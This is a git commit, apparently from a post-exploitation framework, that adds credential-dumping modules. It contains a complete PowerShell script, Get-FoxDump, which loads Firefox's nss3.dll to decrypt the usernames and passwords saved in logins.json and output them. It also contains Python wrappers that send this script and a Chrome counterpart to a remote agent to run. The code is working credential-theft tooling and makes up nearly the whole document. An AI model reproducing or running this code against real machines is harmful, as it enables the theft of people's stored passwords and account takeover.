Added ChromeDump and FoxDump modules

1.6
xorrior 2015-11-25 11:55:36 -05:00
parent 7530a81d88
commit acb9d1bb2f
4 changed files with 1360 additions and 0 deletions

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function Get-FoxDump
{
<#
.SYNOPSIS
This script will utilize the api functions within the nss3.dll to decrypt saved passwords. This will only be successfull if the masterpassword has not been set.
.DESCRIPTION
This script will utilize the api functions within the nss3.dll to decrypt saved passwords and output them to the pipeline. This will only be successfull if the master
password has not been set. The results will include the username, password, and form submit url. This script should work with Firefox version 32 and above. Earlier
versions utilized a different storage method for passwords.
.PARAMETER OutFile
Path to the file where the results should be written to.
.EXAMPLE
Get-FoxDump -OutFile "passwords.txt"
This will retrieve any saved passwords in firefox and then write them out to a file name passwords.txt.
#>
[CmdletBinding()]
param
(
[Parameter(Mandatory = $False)]
[string]$OutFile
)
function New-InMemoryModule
{
<#
.SYNOPSIS
Creates an in-memory assembly and module
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
When defining custom enums, structs, and unmanaged functions, it is
necessary to associate to an assembly module. This helper function
creates an in-memory module that can be passed to the 'enum',
'struct', and Add-Win32Type functions.
.PARAMETER ModuleName
Specifies the desired name for the in-memory assembly and module. If
ModuleName is not provided, it will default to a GUID.
.EXAMPLE
$Module = New-InMemoryModule -ModuleName Win32
#>
Param
(
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$ModuleName = [Guid]::NewGuid().ToString()
)
$LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
foreach ($Assembly in $LoadedAssemblies) {
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
return $Assembly
}
}
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
$Domain = [AppDomain]::CurrentDomain
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
return $ModuleBuilder
}
function func
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$DllName,
[Parameter(Position = 1, Mandatory = $True)]
[string]
$FunctionName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$ReturnType,
[Parameter(Position = 3)]
[Type[]]
$ParameterTypes,
[Parameter(Position = 4)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention,
[Parameter(Position = 5)]
[Runtime.InteropServices.CharSet]
$Charset,
[Switch]
$SetLastError
)
$Properties = @{
DllName = $DllName
FunctionName = $FunctionName
ReturnType = $ReturnType
}
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
if ($Charset) { $Properties['Charset'] = $Charset }
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
New-Object PSObject -Property $Properties
}
function Add-Win32Type
{
<#
.SYNOPSIS
Creates a .NET type for an unmanaged Win32 function.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: func
.DESCRIPTION
Add-Win32Type enables you to easily interact with unmanaged (i.e.
Win32 unmanaged) functions in PowerShell. After providing
Add-Win32Type with a function signature, a .NET type is created
using reflection (i.e. csc.exe is never called like with Add-Type).
The 'func' helper function can be used to reduce typing when defining
multiple function definitions.
.PARAMETER DllName
The name of the DLL.
.PARAMETER FunctionName
The name of the target function.
.PARAMETER ReturnType
The return type of the function.
.PARAMETER ParameterTypes
The function parameters.
.PARAMETER NativeCallingConvention
Specifies the native calling convention of the function. Defaults to
stdcall.
.PARAMETER Charset
If you need to explicitly call an 'A' or 'W' Win32 function, you can
specify the character set.
.PARAMETER SetLastError
Indicates whether the callee calls the SetLastError Win32 API
function before returning from the attributed method.
.PARAMETER Module
The in-memory module that will host the functions. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER Namespace
An optional namespace to prepend to the type. Add-Win32Type defaults
to a namespace consisting only of the name of the DLL.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$FunctionDefinitions = @(
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
(func ntdll RtlGetCurrentPeb ([IntPtr]) @())
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Kernel32 = $Types['kernel32']
$Ntdll = $Types['ntdll']
$Ntdll::RtlGetCurrentPeb()
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
.NOTES
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
When defining multiple function prototypes, it is ideal to provide
Add-Win32Type with an array of function signatures. That way, they
are all incorporated into the same in-memory module.
#>
[OutputType([Hashtable])]
Param(
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
$DllName,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
$FunctionName,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Type]
$ReturnType,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Type[]]
$ParameterTypes,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CharSet]
$Charset = [Runtime.InteropServices.CharSet]::Auto,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Switch]
$SetLastError,
[Parameter(Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[ValidateNotNull()]
[String]
$Namespace = ''
)
BEGIN
{
$TypeHash = @{}
}
PROCESS
{
if ($Module -is [Reflection.Assembly])
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
}
else
{
$TypeHash[$DllName] = $Module.GetType($DllName)
}
}
else
{
# Define one type for each DLL
if (!$TypeHash.ContainsKey($DllName))
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
}
else
{
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
}
}
$Method = $TypeHash[$DllName].DefineMethod(
$FunctionName,
'Public,Static,PinvokeImpl',
$ReturnType,
$ParameterTypes)
$i = 1
foreach($Parameter in $ParameterTypes)
{
if ($Parameter.IsByRef)
{
[void] $Method.DefineParameter($i, 'Out', $null)
}
$i++
}
$DllImport = [Runtime.InteropServices.DllImportAttribute]
$SetLastErrorField = $DllImport.GetField('SetLastError')
$CallingConventionField = $DllImport.GetField('CallingConvention')
$CharsetField = $DllImport.GetField('CharSet')
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
[Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
[Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
$Method.SetCustomAttribute($DllImportAttribute)
}
}
END
{
if ($Module -is [Reflection.Assembly])
{
return $TypeHash
}
$ReturnTypes = @{}
foreach ($Key in $TypeHash.Keys)
{
$Type = $TypeHash[$Key].CreateType()
$ReturnTypes[$Key] = $Type
}
return $ReturnTypes
}
}
function psenum
{
<#
.SYNOPSIS
Creates an in-memory enumeration for use in your PowerShell session.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
The 'psenum' function facilitates the creation of enums entirely in
memory using as close to a "C style" as PowerShell will allow.
.PARAMETER Module
The in-memory module that will host the enum. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER FullName
The fully-qualified name of the enum.
.PARAMETER Type
The type of each enum element.
.PARAMETER EnumElements
A hashtable of enum elements.
.PARAMETER Bitfield
Specifies that the enum should be treated as a bitfield.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
UNKNOWN = 0
NATIVE = 1 # Image doesn't require a subsystem.
WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
POSIX_CUI = 7 # Image runs in the Posix character subsystem.
NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
EFI_APPLICATION = 10
EFI_BOOT_SERVICE_DRIVER = 11
EFI_RUNTIME_DRIVER = 12
EFI_ROM = 13
XBOX = 14
WINDOWS_BOOT_APPLICATION = 16
}
.NOTES
PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Enum. :P
#>
[OutputType([Type])]
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 1, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$EnumElements,
[Switch]
$Bitfield
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
$EnumType = $Type -as [Type]
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
if ($Bitfield)
{
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
}
foreach ($Key in $EnumElements.Keys)
{
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
}
$EnumBuilder.CreateType()
}
function field
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[UInt16]
$Position,
[Parameter(Position = 1, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 2)]
[UInt16]
$Offset,
[Object[]]
$MarshalAs
)
@{
Position = $Position
Type = $Type -as [Type]
Offset = $Offset
MarshalAs = $MarshalAs
}
}
function struct
{
<#
.SYNOPSIS
Creates an in-memory struct for use in your PowerShell session.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: field
.DESCRIPTION
The 'struct' function facilitates the creation of structs entirely in
memory using as close to a "C style" as PowerShell will allow. Struct
fields are specified using a hashtable where each field of the struct
is comprosed of the order in which it should be defined, its .NET
type, and optionally, its offset and special marshaling attributes.
One of the features of 'struct' is that after your struct is defined,
it will come with a built-in GetSize method as well as an explicit
converter so that you can easily cast an IntPtr to the struct without
relying upon calling SizeOf and/or PtrToStructure in the Marshal
class.
.PARAMETER Module
The in-memory module that will host the struct. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER FullName
The fully-qualified name of the struct.
.PARAMETER StructFields
A hashtable of fields. Use the 'field' helper function to ease
defining each field.
.PARAMETER PackingSize
Specifies the memory alignment of fields.
.PARAMETER ExplicitLayout
Indicates that an explicit offset for each field will be specified.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
DOS_SIGNATURE = 0x5A4D
OS2_SIGNATURE = 0x454E
OS2_SIGNATURE_LE = 0x454C
VXD_SIGNATURE = 0x454C
}
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
e_magic = field 0 $ImageDosSignature
e_cblp = field 1 UInt16
e_cp = field 2 UInt16
e_crlc = field 3 UInt16
e_cparhdr = field 4 UInt16
e_minalloc = field 5 UInt16
e_maxalloc = field 6 UInt16
e_ss = field 7 UInt16
e_sp = field 8 UInt16
e_csum = field 9 UInt16
e_ip = field 10 UInt16
e_cs = field 11 UInt16
e_lfarlc = field 12 UInt16
e_ovno = field 13 UInt16
e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
e_oemid = field 15 UInt16
e_oeminfo = field 16 UInt16
e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
e_lfanew = field 18 Int32
}
$TestUnion = struct $Mod TestUnion @{
field1 = field 0 UInt32 0
field2 = field 1 IntPtr 0
} -ExplicitLayout
.NOTES
PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Struct. :P
#>
[OutputType([Type])]
Param
(
[Parameter(Position = 1, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 2, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$StructFields,
[Reflection.Emit.PackingSize]
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
[Switch]
$ExplicitLayout
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
Class,
Public,
Sealed,
BeforeFieldInit'
if ($ExplicitLayout)
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
}
else
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
}
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$Fields = New-Object Hashtable[]($StructFields.Count)
foreach ($Field in $StructFields.Keys)
{
$Index = $StructFields[$Field]['Position']
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
}
foreach ($Field in $Fields)
{
$FieldName = $Field['FieldName']
$FieldProp = $Field['Properties']
$Offset = $FieldProp['Offset']
$Type = $FieldProp['Type']
$MarshalAs = $FieldProp['MarshalAs']
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
if ($MarshalAs)
{
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
if ($MarshalAs[1])
{
$Size = $MarshalAs[1]
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
$UnmanagedType, $SizeConst, @($Size))
}
else
{
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
}
$NewField.SetCustomAttribute($AttribBuilder)
}
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
}
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
'Public, Static',
[Int],
[Type[]] @())
$ILGenerator = $SizeMethod.GetILGenerator()
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
'PrivateScope, Public, Static, HideBySig, SpecialName',
$StructBuilder,
[Type[]] @([IntPtr]))
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
$StructBuilder.CreateType()
}
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
$Mod = New-InMemoryModule -ModuleName Win32
$FunctionDefinitions = @(
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [string]) -Charset Ansi -SetLastError),
(func kernel32 LoadLibrary ([IntPtr]) @([string]) -Charset Ansi -SetLastError),
(func kernel32 FreeLibrary ([Bool]) @([IntPtr]) -Charset Ansi -SetLastError)
)
$TSECItem = struct $Mod TSECItem @{
SECItemType = field 0 Int
SECItemData = field 1 Int
SECItemLen = field 2 Int
}
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Kernel32 = $Types['kernel32']
$nssdllhandle = [IntPtr]::Zero
if([IntPtr]::Size -eq 8)
{
Throw "Unable to load 32-bit dll's in 64-bit process."
}
$mozillapath = "C:\Program Files (x86)\Mozilla Firefox"
If(Test-Path $mozillapath)
{
$nss3dll = "$mozillapath\nss3.dll"
$mozgluedll = "$mozillapath\mozglue.dll"
$msvcr120dll = "$mozillapath\msvcr120.dll"
$msvcp120dll = "$mozillapath\msvcp120.dll"
if(Test-Path $msvcr120dll)
{
$msvcr120dllHandle = $Kernel32::LoadLibrary($msvcr120dll)
$LastError= [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "Last Error when loading mozglue.dll: $LastError"
}
if(Test-Path $msvcp120dll)
{
$msvcp120dllHandle = $kernel32::LoadLibrary($msvcp120dll)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "Last Error loading mscvp120.dll: $LastError"
}
if(Test-Path $mozgluedll)
{
$mozgluedllHandle = $Kernel32::LoadLibrary($mozgluedll)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "Last error loading msvcr120.dll: $LastError"
}
if(Test-Path $nss3dll)
{
$nssdllhandle = $Kernel32::LoadLibrary($nss3dll)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "Last Error loading nss3.dll: $LastError"
}
}
if(($nssdllhandle -eq 0) -or ($nssdllhandle -eq [IntPtr]::Zero))
{
Write-Warning "Could not load nss3.dll"
Write-Verbose "Last Error: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
break
}
Function Decrypt-CipherText
{
param
(
[parameter(Mandatory=$True)]
[string]$cipherText
)
$Result = $NSSBase64_DecodeBuffer.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $cipherText, $cipherText.Length)
Write-Verbose "[+]NSSBase64_DecodeBuffer Result: $Result"
$ResultPtr = $Result -as [IntPtr]
$offset = $ResultPtr.ToInt64()
$newptr = New-Object System.IntPtr -ArgumentList $offset
$TSECStructData = $newptr -as $TSECItem
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($TSECStructData))
$EmptyTSECItem = $ptr -as $TSECItem
$result = $PK11SDR_Decrypt.Invoke([ref]$TSECStructData, [ref]$EmptyTSECItem, 0)
Write-Verbose "[+]PK11SDR_Decrypt result:$result"
if($result -eq 0)
{
if($EmptyTSECItem.SECItemLen -ne 0)
{
$size = $EmptyTSECItem.SECItemLen
$dataPtr = $EmptyTSECItem.SECItemData -as [IntPtr]
$retval = New-Object byte[] $size
[System.Runtime.InteropServices.Marshal]::Copy($dataPtr, $retval, 0, $size)
$clearText = [System.Text.Encoding]::UTF8.GetString($retval)
return $clearText
}
}
}
$NSSInitAddr = $Kernel32::GetProcAddress($nssdllhandle, "NSS_Init")
$NSSInitDelegates = Get-DelegateType @([string]) ([long])
$NSS_Init = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NSSInitAddr, $NSSInitDelegates)
$PK11GetKeySlotAddr = $Kernel32::GetProcAddress($nssdllhandle, "PK11_GetInternalKeySlot")
$PK11GetKeySlotDelegates = Get-DelegateType @() ([long])
$PK11_GetKeySlot = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PK11GetKeySlotAddr, $PK11GetKeySlotDelegates)
$PK11AuthenticateAddr = $Kernel32::GetProcAddress($nssdllhandle, "PK11_Authenticate")
$PK11AuthenticateDelegates = Get-DelegateType @([long], [bool], [long]) ([long])
$PK11_Authenticate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PK11AuthenticateAddr, $PK11AuthenticateDelegates)
$NSSBase64_DecodeBufferAddr = $Kernel32::GetProcAddress($nssdllhandle, "NSSBase64_DecodeBuffer")
$NSSBase64_DecodeBufferDelegates = Get-DelegateType @([IntPtr], [IntPtr], [string], [int]) ([int])
$NSSBase64_DecodeBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NSSBase64_DecodeBufferAddr, $NSSBase64_DecodeBufferDelegates)
$PK11SDR_DecryptAddr = $Kernel32::GetProcAddress($nssdllhandle, "PK11SDR_Decrypt")
$PK11SDR_DecryptDelegates = Get-DelegateType @([Type]$TSECItem.MakeByRefType(),[Type]$TSECItem.MakeByRefType(), [int]) ([int])
$PK11SDR_Decrypt = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PK11SDR_DecryptAddr, $PK11SDR_DecryptDelegates)
$profilePath = "$($env:APPDATA)\Mozilla\Firefox\Profiles\*.default"
$defaultProfile = $(Get-ChildItem $profilePath).FullName
$NSSInitResult = $NSS_Init.Invoke($defaultProfile)
Write-Verbose "[+]NSS_Init result: $NSSInitResult"
$keySlot = $PK11_GetKeySlot.Invoke()
Write-Verbose "[+]Keyslot : $keySlot"
$PK11_AuthResult = $PK11_Authenticate.Invoke($keySlot, $True, 0)
Write-Verbose "[+]PK11_Authenticate Result: $PK11_AuthResult"
if(Test-Path $profilePath)
{
try
{
Add-Type -AssemblyName System.web.extensions
}
catch
{
Write-Warning "Unable to load System.web.extensions assembly"
break
}
$jsonFile = Get-Content "$defaultProfile\logins.json"
if(!($jsonFile))
{
Write-Warning "Login information cannot be found in logins.json"
break
}
$ser = New-Object System.Web.Script.Serialization.JavaScriptSerializer
$obj = $ser.DeserializeObject($jsonFile)
$logins = $obj['logins']
$count = ($logins.Count) - 1
$passwordlist = @()
for($i = 0; $i -le $count; $i++)
{
Write-Verbose "[+]Decrypting login information..."
$user = Decrypt-CipherText $($logins.GetValue($i)['encryptedUsername'])
$pass = Decrypt-CipherText $($logins.GetValue($i)['encryptedPassword'])
$formUrl = $($logins.GetValue($i)['formSubmitURL'])
$FoxCreds = New-Object PSObject -Property @{
UserName = $user
Password = $pass
URL = $formUrl
}
$passwordlist += $FoxCreds
}
if($OutFile)
{
$passwordlist | Format-List URL, UserName, Password | Out-File -Encoding ascii $OutFile
}
else
{
$passwordlist | Format-List URL, UserName, Password | Out-String
}
$kernel32::FreeLibrary($msvcp120dllHandle) | Out-Null
$Kernel32::FreeLibrary($msvcr120dllHandle) | Out-Null
$kernel32::FreeLibrary($mozgluedllHandle) | Out-Null
$kernel32::FreeLibrary($nssdllhandle) | Out-Null
}
else
{
Write-Warning "Unable to locate default profile"
}
}

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@ -0,0 +1,102 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Get-ChromeDump',
# list of one or more authors for the module
'Author': ['@xorrior'],
# more verbose multi-line description of the module
'Description': ('This module will decrypt passwords saved in chrome and display them in the console.'),
# True if the module needs to run in the background
'Background' : True,
'SaveOutput' : False,
# File extension to save the file as
'OutputExtension' : None,
# True if the module needs admin rights to run
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# The minimum PowerShell version needed for the module to run
'MinPSVersion' : '2',
# list of any references/other comments
'Comments': [
'https://github.com/xorrior/RandomPS-Scripts/blob/master/Get-ChromeInfo.ps1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to run the module on.',
'Required' : True,
'Value' : ''
},
'OutFile' : {
'Description' : 'File path to write the results to.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# if you're reading in a large, external script that might be updates,
# use the pattern below
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-ChromeDump.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += " Get-ChromeDump"
# add any arguments to the end execution of the script
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script

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@ -0,0 +1,106 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'FoxDump',
# list of one or more authors for the module
'Author': ['@xorrior'],
# more verbose multi-line description of the module
'Description': ('This module will dump any saved passwords from Firefox to the console. This should work for any version'
'of Firefox above version 32. This will only be successful if the master password is blank or has not been set.'),
# True if the module needs to run in the background
'Background' : True,
# True if we're saving the output as a file
'SaveOutput' : False,
'OutputExtension' : None,
# True if the module needs admin rights to run
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : True,
# The minimum PowerShell version needed for the module to run
'MinPSVersion' : '2',
# list of any references/other comments
'Comments': [
'https://github.com/xorrior/RandomPS-Scripts/blob/master/Get-FoxDump.ps1',
'http://xakfor.net/threads/c-firefox-36-password-cookie-recovery.12192/'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to grab a screenshot from.',
'Required' : True,
'Value' : ''
},
'OutFile' : {
'Description' : 'Path to Output File',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# if you're reading in a large, external script that might be updates,
# use the pattern below
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-FoxDump.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += " Get-FoxDump"
# add any arguments to the end execution of the script
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script